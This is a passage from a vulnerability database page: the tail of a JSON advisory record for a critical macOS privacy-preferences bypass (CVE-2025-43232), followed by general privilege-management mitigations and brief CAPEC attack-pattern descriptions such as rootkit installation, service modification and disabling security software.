"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-30T00:15:35Z",
"severity": "CRITICAL"
},
"details": "A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Sequoia 15.6, macOS Ventura 13.7.7, macOS Sonoma 14.7.7. An app may be able to bypass certain Privacy preferences.",
"id": "GHSA-4xwv-qhqg-x59m",
"modified": "2025-11-03T21:34:15Z",
"published": "2025-07-30T00:32:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43232"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/124149"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/124150"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/124151"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2025/Jul/32"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2025/Jul/33"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2025/Jul/34"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-1
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-19: Embedding Scripts within Scripts
An adversary leverages the capability to execute their own script by embedding it within other scripts that the target software is likely to execute due to programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts.
CAPEC-441: Malicious Logic Insertion
An adversary installs or adds malicious logic (also known as malware) into a seemingly benign component of a fielded system. This logic is often hidden from the user of the system and works behind the scenes to achieve negative impacts. With the proliferation of mass digital storage and inexpensive multimedia devices, Bluetooth and 802.11 support, new attack vectors for spreading malware are emerging for things we once thought of as innocuous greeting cards, picture frames, or digital projectors. This pattern of attack focuses on systems already fielded and used in operation as opposed to systems and their components that are still under development and part of the supply chain.
CAPEC-478: Modification of Windows Service Configuration
An adversary exploits a weakness in access control to modify the execution parameters of a Windows service. The goal of this attack is to execute a malicious binary in place of an existing service.
CAPEC-479: Malicious Root Certificate
An adversary exploits a weakness in authorization and installs a new root certificate on a compromised system. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.
CAPEC-502: Intent Spoof
An adversary, through a previously installed malicious application, issues an intent directed toward a specific trusted application's component in an attempt to achieve a variety of different objectives including modification of data, information disclosure, and data injection. Components that have been unintentionally exported and made public are subject to this type of an attack. If the component trusts the intent's action without verififcation, then the target application performs the functionality at the adversary's request, helping the adversary achieve the desired negative technical impact.
CAPEC-503: WebView Exposure
An adversary, through a malicious web page, accesses application specific functionality by leveraging interfaces registered through WebView's addJavascriptInterface API. Once an interface is registered to WebView through addJavascriptInterface, it becomes global and all pages loaded in the WebView can call this interface.
CAPEC-536: Data Injected During Configuration
An attacker with access to data files and processes on a victim's system injects malicious data into critical operational data during configuration or recalibration, causing the victim's system to perform in a suboptimal manner that benefits the adversary.
CAPEC-546: Incomplete Data Deletion in a Multi-Tenant Environment
An adversary obtains unauthorized information due to insecure or incomplete data deletion in a multi-tenant environment. If a cloud provider fails to completely delete storage and data from former cloud tenants' systems/resources, once these resources are allocated to new, potentially malicious tenants, the latter can probe the provided resources for sensitive information still there.
CAPEC-550: Install New Service
When an operating system starts, it also starts programs called services or daemons. Adversaries may install a new service which will be executed at startup (on a Windows system, by modifying the registry). The service name may be disguised by using a name from a related operating system or benign software. Services are usually run with elevated privileges.
CAPEC-551: Modify Existing Service
When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.
CAPEC-552: Install Rootkit
An adversary exploits a weakness in authentication to install malware that alters the functionality and information provide by targeted operating system API calls. Often referred to as rootkits, it is often used to hide the presence of programs, files, network connections, services, drivers, and other system components.
CAPEC-556: Replace File Extension Handlers
When a file is opened, its file handler is checked to determine which program opens the file. File handlers are configuration properties of many operating systems. Applications can modify the file handler for a given file extension to call an arbitrary program when a file with the given extension is opened.
CAPEC-558: Replace Trusted Executable
An adversary exploits weaknesses in privilege management or access control to replace a trusted executable with a malicious version and enable the execution of malware when that trusted executable is called.
CAPEC-562: Modify Shared File
An adversary manipulates the files in a shared location by adding malicious programs, scripts, or exploit code to valid content. Once a user opens the shared content, the tainted content is executed.
CAPEC-563: Add Malicious File to Shared Webroot
An adversaries may add malicious content to a website through the open file share and then browse to that content with a web browser to cause the server to execute the content. The malicious content will typically run under the context and permissions of the web server process, often resulting in local system or administrative privileges depending on how the web server is configured.
CAPEC-564: Run Software at Logon
Operating system allows logon scripts to be run whenever a specific user or users logon to a system. If adversaries can access these scripts, they may insert additional code into the logon script. This code can allow them to maintain persistence or move laterally within an enclave because it is executed every time the affected user or users logon to a computer. Modifying logon scripts can effectively bypass workstation and enclave firewalls. Depending on the access configuration of the logon scripts, either local credentials or a remote administrative account may be necessary.
CAPEC-578: Disable Security Software
An adversary exploits a weakness in access control to disable security tools so that detection does not occur. This can take the form of killing processes, deleting registry keys so that tools do not start at run time, deleting log files, or other methods.